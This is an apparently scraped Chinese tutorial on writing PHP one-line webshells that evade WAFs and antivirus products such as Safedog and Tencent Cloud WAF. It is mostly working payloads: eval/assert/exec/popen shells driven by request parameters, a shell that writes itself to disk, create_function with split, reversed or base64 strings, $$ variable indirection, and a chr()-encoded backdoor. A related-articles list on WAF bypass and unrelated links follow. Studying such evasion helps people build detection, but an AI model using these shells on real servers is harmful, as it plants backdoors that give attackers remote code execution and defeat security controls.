PHP-WebShell-Bypass-WAF

PHP WebShell 一句话的结构是:输入和执行,这是经典的PHP 一句话代码:

    <?php eval($_GET['test']); ?>
<?php eval($_POST['test']); ?>

WebShell 的输入点在$_GET 和$_POST ,执行点在eval() ,经典的一句话WAF 都会拦截

测试:<?php eval($_GET['test']); ?>

测试:<?php $_GET['test']; ?>

测试:<?php eval(); ?>

综合上面三点,可以发现WAF 是通过关键字来拦截的,把这三个测试用例放到安全狗下测试

可以发现,安全狗是通过综合判断来识别WebShell 的,现在,我们有两种的绕过方式:关键字绕过和混淆绕过

关键字绕过

一般来说,WAF 里边的拦截规则都是使用了正则来匹配的,第一个绕过思路:寻找WAF 拦截里边有没有匹配的关键字

测试用例:<?php%20assert('$code='.$_REQUEST['code']);$code();%20?>

测试用例:<?php%20$file=file_put_contents('code.php','<?php%20'.$_REQUEST['code'].'%20?>');include%20'code.php';%20?>

测试用例:<?php%20exec($_REQUEST['code']);%20?>

测试用例:<?php%20$handle=popen($_REQUEST['code'],'r');echo%20fread($handle,1024*4);?>

测试用例:<?php%20$function=create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');$function();%20?>

思路1 总结:尽可能找到更多不被拦截的函数,然后用来测试

后来,这些关键字都被策略补上去了,接下来就使用混淆来绕过关键字检测

混淆绕过

create_function() 是比较有意思的函数,函数的原型为:Link

    string create_function ( string $args , string $code )

第一个参数是函数需要的参数列表,第二个参数为函数代码,最后会返回一个函数对象,然后再去调用.在构造代码的时候(构造第二个参数)可以有很多不同的混淆方法

    eval($_GET['test']);

通过很多不同种类的字符串变化成下面的例子

    'ev'.'al'.'($_G'.'ET['.'"test"]);'
strrev('$(lave').'_G'.'ET['.'"test"]);';
base64_decode('ZXZhbCgkX0dFVFsidGVzdCJdKTs=');

这样的变化是非常多的,用云WAF 和安全狗测试一下:

    <?php $function=create_function('$code','ev'.'al'.'($_G'.'ET['.'"test"]);') ?>
<?php $function=create_function('$code',strrev('$(lave').'($_G'.'ET['.'"test"]);') ?>
<?php $function=create_function('$code',base64_decode('ZXZhbCgkX0dFVFsidGVzdCJdKTs=')) ?>

腾讯云WAF 的策略是把create_function() 当作敏感函数拦截了,这三个WebShell 安全狗也都全部杀掉,先从安全狗开始尝试绕过.

首先使用一个空的create_function() 尝试看看安全狗有没有杀掉

create_function() 填充一些可以执行的代码,安全狗也没有杀.

填充eval($_GET['test']) ,发现安全狗识别出WebShell

使用混淆'ev'.'al'.'($_G'.'ET['.'"code"'.']);' 也同样可以被识别

使用strrev('ve').strrev('la').base64_decode('KCRfR0VUWw==').'"code"'.']);'; 也还是可以别识别

不过不要灰心,PHP 是很灵活的语言,变化的花样很多,试试这样写,就可以绕过安全狗的扫描了

做一句话WAF 绕过和免杀,一定要相信自己,AV 和WAF 除了用关键字和综合判断来识别WebShell ,终会有办法绕过的.现在过狗,接下来介绍一下间接调用函数与间接引用变量.

间接调用函数

PHP 里边有个语法是$function='eval'; ,然后就可以直接对$function 变量进行函数调用,语法是$function().基于这一点,我们回过头来绕过云WAF

Payload:

    <?php $function='create'.'_function';$function=$function('$code','ev'.'al'.'($_'.'GET'.'["code"]);');$function();?>

间接调用变量

PHP 还有一个语法是$$ 间接引用变量,比如:$test=1234;$reference='test';echo $$reference; 这样使用,reference 变量里边保存test 变量的名字,然后用符号$$ 即可引用到变量test .这样有什么意义呢?因为WAF 和AV 会通过$_GET ,$_POST 来判断WebShell ,不妨回到云WAF 再看看

使用$$ 来绕过,Payload 如下:

    <?php $a = '_GET';echo $$a['test'];  //  云WAF 规则已经更新,<?php ?> 会被拦截,所以去掉?> 即可绕过,由此判断是正则匹配,可以开开脑洞发挥一下绕过正则判断

这样就可以绕过对$_GET ,$_POST 的检测,同样,还有$_REQUESTS ,$_COOKIE

文末总结

到了这里,举一些不错的一句话木马来分析一下原理,推荐深入研究的读者访问这里Link

    <?php array_map("ass\x65rt",(array)$_REQUEST['expdoor']);?>

这个WebShell 使用到array_map() 和ass\x65rt ,array_map() 是调用函数的,第一个参数是即将要调用的函数名,这里ass\x65rt 使用了编码绕过,绕过了字符串判断,第二个参数是传递给这个函数的参数

    <?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>

这个WebShell 使用到了间接引用函数,$_uU 重定向到chr() ,;$_cC 最后解码为eval($_POST[1]); ,$_fF 解码为create_function ,最后就是create_function 的调用过程,和php-shell-create_function.php 原理一样

未知攻,焉知防,这个是关于PHP Shell 的一句话检测脚本Link,很多绕过的思路都是在做防御的时候想到的,没有绝对的防御,甚至是看起来正确的思路在代码实现的过程中会存在Bug 导致分析或者识别失败

PHP-WebShell-Bypass-WAF的更多相关文章

  1. WAF攻防研究之四个层次Bypass WAF

    从架构.资源.协议和规则4个层次研究绕过WAF的技术,助于全方位提升WAF防御能力. 绕过WAF的相关技术研究是WAF攻防研究非常重要的一部分,也是最有趣的部分,所以我在写WAF攻防时先写攻击部分.还 ...

  2. Bypass WAF Cookbook

    PS.之前一直想把零零碎碎的知识整理下来,作为知识沉淀下来,正好借着wooyun峰会的机会将之前的流程又梳理了一遍,于是就有了下文.也希望整理的内容能给甲方工作者或则白帽子带来一些收获. 0x00 概 ...

  3. webshell 常见 Bypass waf 技巧总结

    在渗透学习的过程中,总会遇到各种情况,例如 php 大马被 waf 拦截的时候,那么如何制作免杀 php webshell 呢,接下来就由我带各位小伙伴们一起踏上大马免杀之路,不喜勿喷. 一篇好的文章 ...

  4. 【sql绕过】Bypass waf notepad of def

    文章是通过阅读<[独家连载]我的WafBypass之道 (SQL注入篇)>写的阅读笔记. Waf的类型 1.云waf云waf通常是CDN包含的waf,DNS在解析的时候要解析到cdn上面制 ...

  5. Bypass WAF

    一.绕过命令执行: 很多WAF会限制参数字符不能为可以执行的命令,诸如ls.nc等,如果直接使用这些字符会直接被WAF拦截,但是可以通过这种的方式绕过这一限制 1.? 符号:这个符号表示条件测试,比如 ...

  6. 一些 bypass WAF 技巧

    也是之前讲课写的,现在搬运过来 --- WAF所处的位置 * 云WAF * 硬件WAF * 软件WAF * 代码级WAF   WAF的绕过 1 架构层    1 对于云WAF,寻找真实ip       ...

  7. SQL Injection bypass WAF

    tips: 利用的注射点: 支持Union 可报错 支持多行执行.可执行系统命令.可HTTP Request等额外有利条件 若非以上类型,则可能需要暴力猜解.猜解时,可能会遇到一些限制.攻击者要做的, ...

  8. 远程下载马bypass waf

    <?php file_put_contents('dama.php',file_get_contents('http://xxx/xx.txt'));?> php这个函数不算冷门 第一个参 ...

  9. sql bypass waf fuzz python

    从freebuf copy过来的,先保存,有空再改 #encoding=utf-8 import requests url = "http://127.0.0.1/index.php?id= ...

  10. Oralce注入 bypass waf出数据

    发存货: 探测banner 版本号: ' and (SELECT banner FROM v$version where rownum=1) like 'O%' and '1'like'1 rownu ...

随机推荐

  1. Django 学习之Django Rest Framework(DRF)

    一. WEB应用模式 在开发Web应用中,有两种应用模式 1. 前后端不分离 把html模板文件和django的模板语法结合渲染完成以后才从服务器返回给客户. 2. 前后端分离 二. API接口 AP ...

  2. 栈结构Stack

    package seday12; import java.util.Deque; import java.util.LinkedList; /** * @author xingsir * 栈结构. 栈 ...

  3. python 静态方法,类方法,类下面的函数区别

    @clssmenthod(类方法) 与 @staticmethod(静态方法) 与类下面的函数的区别: 1.@classmethod修饰的方法def name(cls)需要通过cls参数传递当前类本身 ...

  4. iOS Common Design Patterns:常用设计模式

    原文:http://www.jianshu.com/p/bf431fff235e 我们经常在编程中使用各种设计模式,在iOS中比较常见的设计模式有:单例模式.委托模式.观察者模式,当然实际上在Coco ...

  5. mysql :将其中两个数据的某一个字段合拼成一句

    SELECT xq.*, ts.xu_qiu_id, ts.content FROM wx_xu_qiu xq LEFT JOIN (SELECT xu_qiu_id, GROUP_CONCAT(co ...

  6. 一个DBA的雄心壮志

    math-liu, 一个甲方的DBA,同时他还有另外一个名字“怕提神”.在某甲方工作的他最近这几年如打了鸡血一般工作起来完全由拼命三郎的那股劲,据说能唯一使他感到一丝鼓励和安慰的是以下这两位大牛前辈. ...

  7. Codeforces1301C. Ayoub's function

    本题的收获是,要学会反向思维,正向找包含1的太多,我们就反向找,全排列-只有0的不满足题意的就是答案,一共有n-m个0,m个1,插空法,一共有m+1个地方可以插入0序列,总排列数为(n+1)*n/2, ...

  8. 109、Java中String类之截取部分子字符串

    01.代码如下: package TIANPAN; /** * 此处为文档注释 * * @author 田攀 微信382477247 */ public class TestDemo { public ...

  9. 2016 黑客必备的Android应用都有哪些?

    免责声明:本站所发布的此份清单仅供学习之用.我们不支持读者利用其中的任何工具进行任何不道德的恶意攻击行为. 根据业界的一系列评测以及亲身经验,我们整理出了这份最佳Android黑客应用清单.除了对应用 ...

  10. java并发:初探用户线程和守护线程

    用户线程和守护线程 用户线程 用户线程执行完,jvm退出.守护线程还是可以跑的 /** * A <i>thread</i> is a thread of execution i ...